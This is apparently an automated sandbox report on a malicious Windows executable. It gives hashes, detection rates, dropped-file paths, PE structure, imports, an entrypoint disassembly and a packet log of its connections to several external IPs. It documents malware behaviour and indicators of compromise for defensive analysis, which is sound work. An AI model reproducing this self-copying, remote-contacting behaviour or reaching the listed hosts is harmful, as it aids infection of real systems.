SHA-512:	0211A908C078EE0A7CB57D938C80602191A558069D37AE01397A0CC5637025D3A96E418B2B8F4D83943A5B9999C9338E5489E292117ACCB00DD4685F5EB684E9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........J.....................................>..........&...........................Rich............PE..L......^......................s..... ,............@...........................t..............................................`..<.....t..i..........................P................................S..@............................................text............................... ..`.rdata..N...........................@..@.data....q..p.......`..............@....rsrc....i....t..j...r..............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\geedrvu:Zone.Identifier Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\SysWOW64\zofcwexy\krpafaoc.exe (copy) Download File
Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11654144
Entropy (8bit):	4.94693843822584
Encrypted:	false
SSDEEP:	98304:covDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDn:P
MD5:	8D7AD8008BAE9593AC01F300C47DC0F7
SHA1:	0781B0FA58F4BC71B3A20CCF69802B820225BA51
SHA-256:	72E08207C3E97EB8B89E2F73046ECB1084FC124F07559DD7FCA2C668D066608E
SHA-512:	54C262139D00A9E46A374D6F83870807C27727E593693D25AF66D8AD2BA6040AB83557804A86C4B64D19B4026D6B0DBDE0DED4F1D332C2159124F3D249BD910E
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........&..JG.GJG.GJG.GT.{G[G.GT.jGpG.GT.mG:G.Gm..GMG.GJG.G.G.GT.dGKG.GT.zGKG.GT..GKG.GRichJG.G........PE..L...b.4_.....................0t..... ,............@...........................t.....6........................................`..P.....t.............................P...............................XT..@............................................text............................... ..`.rdata.............................@..@.data.....q..p.......`..............@....rsrc.........t..b...r..............@..@................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.790781390487276
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	DWVByMCYL8.exe
File size:	252928
MD5:	743bcc99b15c971e0269cb3376c9ff69
SHA1:	5ea7dcffcda6cdf903fe4de53b753f7db2049e4f
SHA256:	8e3807c621963a9608f0013814df628e2ceb76e5bebb025704e9042994bf5769
SHA512:	0211a908c078ee0a7cb57d938c80602191a558069d37ae01397a0cc5637025d3a96e418b2b8f4d83943a5b9999c9338e5489e292117accb00dd4685f5eb684e9
SSDEEP:	6144:MNciryKxRySZVHQl6uU8RVKyvKfEOvX6:5irVxASZVfuU8nK38O
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........J.....................................>..........&...........................Rich............PE..L......^...................

File Icon


Icon Hash:	aae8e8e8a2a2a488

Static PE Info

General
Entrypoint:	0x402c20
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED
DLL Characteristics:	TERMINAL_SERVER_AWARE, NX_COMPAT
Time Stamp:	0x5EE59AB9 [Sun Jun 14 03:34:17 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	b96546bb8656e94382ad7dab68551d5e

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007F7A70A7064Bh
call 00007F7A70A6A9B6h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 004257D0h
push 00407250h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF94h
push ebx
push esi
push edi
mov eax, dword ptr [004272F8h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
mov dword ptr [ebp-04h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [0041E078h]
mov dword ptr [ebp-04h], FFFFFFFEh
jmp 00007F7A70A6A9C8h
mov eax, 00000001h
ret
mov esp, dword ptr [ebp-18h]
mov dword ptr [ebp-78h], 000000FFh
mov dword ptr [ebp-04h], FFFFFFFEh
mov eax, dword ptr [ebp-78h]
jmp 00007F7A70A6AAF7h
mov dword ptr [ebp-04h], FFFFFFFEh
call 00007F7A70A6AB34h
mov dword ptr [ebp-6Ch], eax
push 00000001h
call 00007F7A70A71B8Ah
add esp, 04h
test eax, eax
jne 00007F7A70A6A9ACh
push 0000001Ch
call 00007F7A70A6AAECh
add esp, 04h
call 00007F7A70A6F714h
test eax, eax
jne 00007F7A70A6A9ACh
push 00000010h

Rich Headers

Programming Language:

[ C ] VS2008 build 21022
[LNK] VS2008 build 21022
[ASM] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[C++] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2608c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2741000	0x69b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1e250	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x253e8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1e000	0x1fc	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1cc81	0x1ce00	False	0.467583198052	data	6.29594590061	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x1e000	0x8c4e	0x8e00	False	0.30595290493	data	4.7222065485	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x27000	0x2719ee8	0x11200	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x2741000	0x69b0	0x6a00	False	0.487949587264	data	5.07186312707	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_CURSOR	0x27449a0	0x130	data
RT_CURSOR	0x2744ae8	0x130	data
RT_CURSOR	0x2744c18	0xf0	data
RT_CURSOR	0x2744d08	0x10a8	dBase III DBT, version number 0, next free block index 40
RT_CURSOR	0x2745de0	0x8a8	dBase III DBT, version number 0, next free block index 40, 1st item "\251\317"
RT_ICON	0x27414c0	0x8a8	data	English	United States
RT_ICON	0x2741d68	0x6c8	data	English	United States
RT_ICON	0x2742430	0x568	GLS_BINARY_LSB_FIRST	English	United States
RT_ICON	0x2742998	0x10a8	data	English	United States
RT_ICON	0x2743a40	0x988	data	English	United States
RT_ICON	0x27443c8	0x468	GLS_BINARY_LSB_FIRST	English	United States
RT_STRING	0x27466a0	0x3ae	data
RT_STRING	0x2746a50	0x452	data
RT_STRING	0x2746ea8	0x766	data
RT_STRING	0x2747610	0x1d6	data
RT_STRING	0x27477e8	0x1c4	data
RT_ACCELERATOR	0x2744908	0x98	data
RT_ACCELERATOR	0x2744890	0x78	data
RT_GROUP_CURSOR	0x2744ad0	0x14	data
RT_GROUP_CURSOR	0x2745db0	0x30	data
RT_GROUP_CURSOR	0x2746688	0x14	data
RT_GROUP_ICON	0x2744830	0x5a	data	English	United States

Imports

DLL

Import

KERNEL32.dll

DosDateTimeToFileTime, FindFirstChangeNotificationW, lstrlenA, CopyFileExW, TlsGetValue, SetLocalTime, GetCPInfo, InterlockedIncrement, GetQueuedCompletionStatus, ReadConsoleA, CompareFileTime, GlobalSize, GetNamedPipeHandleStateA, GlobalLock, CancelWaitableTimer, GetModuleHandleW, GetCurrentThread, GetSystemTimeAsFileTime, GetPrivateProfileStringW, WriteFile, SetCommState, GetCommandLineA, GetPrivateProfileIntA, LoadLibraryW, CopyFileW, GetSystemWindowsDirectoryA, GetConsoleAliasExesLengthW, GetVersionExW, IsProcessorFeaturePresent, TerminateProcess, GetStartupInfoW, LCMapStringA, GetPrivateProfileIntW, CreateDirectoryA, InterlockedExchange, GetStartupInfoA, SetThreadLocale, GetCPInfoExW, GetLastError, GetCurrentDirectoryW, GetProcAddress, SetFirmwareEnvironmentVariableW, SearchPathA, OpenWaitableTimerA, LoadLibraryA, Process32FirstW, LocalAlloc, GetFileType, WritePrivateProfileStringA, CreateFileMappingW, SetCurrentDirectoryW, SetThreadIdealProcessor, HeapWalk, FindAtomA, SetEnvironmentVariableA, GetThreadPriority, QueryMemoryResourceNotification, FreeEnvironmentStringsW, EnumResourceNamesA, GetStringTypeW, RequestWakeupLatency, FindAtomW, ReadConsoleOutputCharacterW, GetProfileSectionW, DeleteFileA, InterlockedDecrement, Sleep, InitializeCriticalSection, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetModuleFileNameW, HeapValidate, IsBadReadPtr, RaiseException, RtlUnwind, GetCurrentProcess, IsDebuggerPresent, TlsAlloc, TlsSetValue, GetCurrentThreadId, TlsFree, SetLastError, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, ExitProcess, GetEnvironmentStringsW, GetCommandLineW, SetHandleCount, GetStdHandle, HeapDestroy, HeapCreate, HeapFree, VirtualFree, GetModuleFileNameA, FlushFileBuffers, WideCharToMultiByte, GetConsoleCP, GetConsoleMode, DebugBreak, OutputDebugStringA, WriteConsoleW, OutputDebugStringW, HeapAlloc, HeapSize, HeapReAlloc, VirtualAlloc, GetACP, GetOEMCP, IsValidCodePage, InitializeCriticalSectionAndSpinCount, SetStdHandle, WriteConsoleA, GetConsoleOutputCP, MultiByteToWideChar, SetFilePointer, LCMapStringW, GetStringTypeA, GetLocaleInfoA, CloseHandle, CreateFileA

USER32.dll

GetComboBoxInfo

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 7, 2021 16:02:31.200105906 CEST	49724	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:31.225158930 CEST	80	49724	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:31.225287914 CEST	49724	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:31.225557089 CEST	49724	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:31.225617886 CEST	49724	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:31.250451088 CEST	80	49724	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:31.250478029 CEST	80	49724	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:31.250979900 CEST	80	49724	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:31.292289019 CEST	49724	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:31.306487083 CEST	49725	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:31.331372023 CEST	80	49725	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:31.331515074 CEST	49725	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:31.331656933 CEST	49725	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:31.332089901 CEST	49725	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:31.356463909 CEST	80	49725	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:31.356854916 CEST	80	49725	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:31.357145071 CEST	80	49725	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:31.400310040 CEST	49726	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:31.401669979 CEST	49725	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:31.425395012 CEST	80	49726	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:31.425534010 CEST	49726	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:31.425791025 CEST	49726	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:31.425852060 CEST	49726	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:31.450762033 CEST	80	49726	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:31.450793982 CEST	80	49726	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:31.451035023 CEST	80	49726	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:31.495433092 CEST	49726	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:31.513561010 CEST	49727	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:31.538719893 CEST	80	49727	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:31.538815975 CEST	49727	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:31.539073944 CEST	49727	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:31.539104939 CEST	49727	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:31.566653013 CEST	80	49727	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:31.566834927 CEST	80	49727	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:31.567013025 CEST	80	49727	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:31.620433092 CEST	49727	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:31.704773903 CEST	49728	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:31.732280970 CEST	80	49728	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:31.732450962 CEST	49728	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:31.732814074 CEST	49728	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:31.732863903 CEST	49728	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:31.757659912 CEST	80	49728	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:31.757685900 CEST	80	49728	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:31.757992983 CEST	80	49728	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:31.807948112 CEST	49728	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:32.124284983 CEST	49729	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:32.151587963 CEST	80	49729	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:32.151757002 CEST	49729	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:32.152211905 CEST	49729	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:32.152235985 CEST	49729	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:32.178033113 CEST	80	49729	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:32.178052902 CEST	80	49729	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:32.178143024 CEST	80	49729	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:32.229866028 CEST	49729	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:32.239495039 CEST	49730	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:32.265347958 CEST	80	49730	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:32.265652895 CEST	49730	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:32.265678883 CEST	49730	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:32.265702963 CEST	49730	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:32.290927887 CEST	80	49730	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:32.291060925 CEST	80	49730	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:32.291091919 CEST	80	49730	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:32.327795982 CEST	49731	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:32.334963083 CEST	49730	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:32.352835894 CEST	80	49731	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:32.353049994 CEST	49731	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:32.353168011 CEST	49731	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:32.353296995 CEST	49731	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:32.378571987 CEST	80	49731	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:32.378590107 CEST	80	49731	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:32.378618956 CEST	80	49731	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:32.433018923 CEST	49731	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:32.440074921 CEST	49732	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:32.466238022 CEST	80	49732	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:32.466556072 CEST	49732	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:32.466578960 CEST	49732	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:32.466583967 CEST	49732	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:32.492743969 CEST	80	49732	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:32.492777109 CEST	80	49732	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:32.492808104 CEST	80	49732	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:32.542444944 CEST	49732	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:32.567384005 CEST	49733	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:32.594731092 CEST	80	49733	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:32.597001076 CEST	49733	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:32.597115993 CEST	49733	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:32.597153902 CEST	49733	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:32.622719049 CEST	80	49733	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:32.622736931 CEST	80	49733	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:32.623703003 CEST	80	49733	192.42.116.41	192.168.2.4
Sep 7, 2021 16:02:32.667438984 CEST	49733	80	192.168.2.4	192.42.116.41
Sep 7, 2021 16:02:32.948015928 CEST	49734	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:33.017360926 CEST	80	49734	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:33.030567884 CEST	49734	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:33.030848980 CEST	49734	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:33.030920029 CEST	49734	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:33.102097034 CEST	80	49734	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:33.249936104 CEST	80	49734	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:33.251199007 CEST	49734	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:33.253040075 CEST	80	49734	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:33.253113031 CEST	49734	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:33.298881054 CEST	49735	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:33.319875956 CEST	80	49734	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:33.379285097 CEST	80	49735	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:33.379518032 CEST	49735	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:33.379667997 CEST	49735	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:33.379689932 CEST	49735	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:33.449683905 CEST	80	49735	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:33.669033051 CEST	80	49735	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:33.669202089 CEST	49735	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:33.669241905 CEST	49735	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:33.725459099 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.738641977 CEST	80	49735	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:33.755316019 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.755501032 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.755644083 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.785211086 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.811197996 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.811219931 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.811237097 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.811256886 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.811276913 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.811296940 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.811316013 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.811336040 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.811356068 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.811376095 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.814886093 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.814945936 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.844832897 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.844867945 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.844891071 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.844916105 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.844938040 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.844954014 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.844960928 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.844983101 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.844986916 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.845009089 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.845026016 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.845037937 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.845063925 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.845065117 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.845086098 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.845101118 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.845108032 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.845160007 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.874998093 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.876878023 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.876914024 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.877078056 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.877124071 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.877538919 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.877840042 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.878195047 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.878216982 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.878240108 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.878261089 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.878285885 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.878308058 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.878329992 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.878353119 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.878374100 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.878395081 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.879487991 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.879523039 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.879527092 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.879529953 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.879533052 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.879535913 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.879539013 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.909267902 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.909302950 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.909327030 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.909348965 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.909370899 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.909392118 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.909399033 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.909415007 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.909435987 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.909437895 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.909461021 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.909470081 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.909482956 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.909504890 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.909527063 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.909548998 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.909564018 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.909569025 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.909578085 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.909590960 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.909611940 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.909622908 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.909634113 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.909656048 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.909662008 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.909676075 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.909689903 CEST	49736	80	192.168.2.4	185.183.96.3
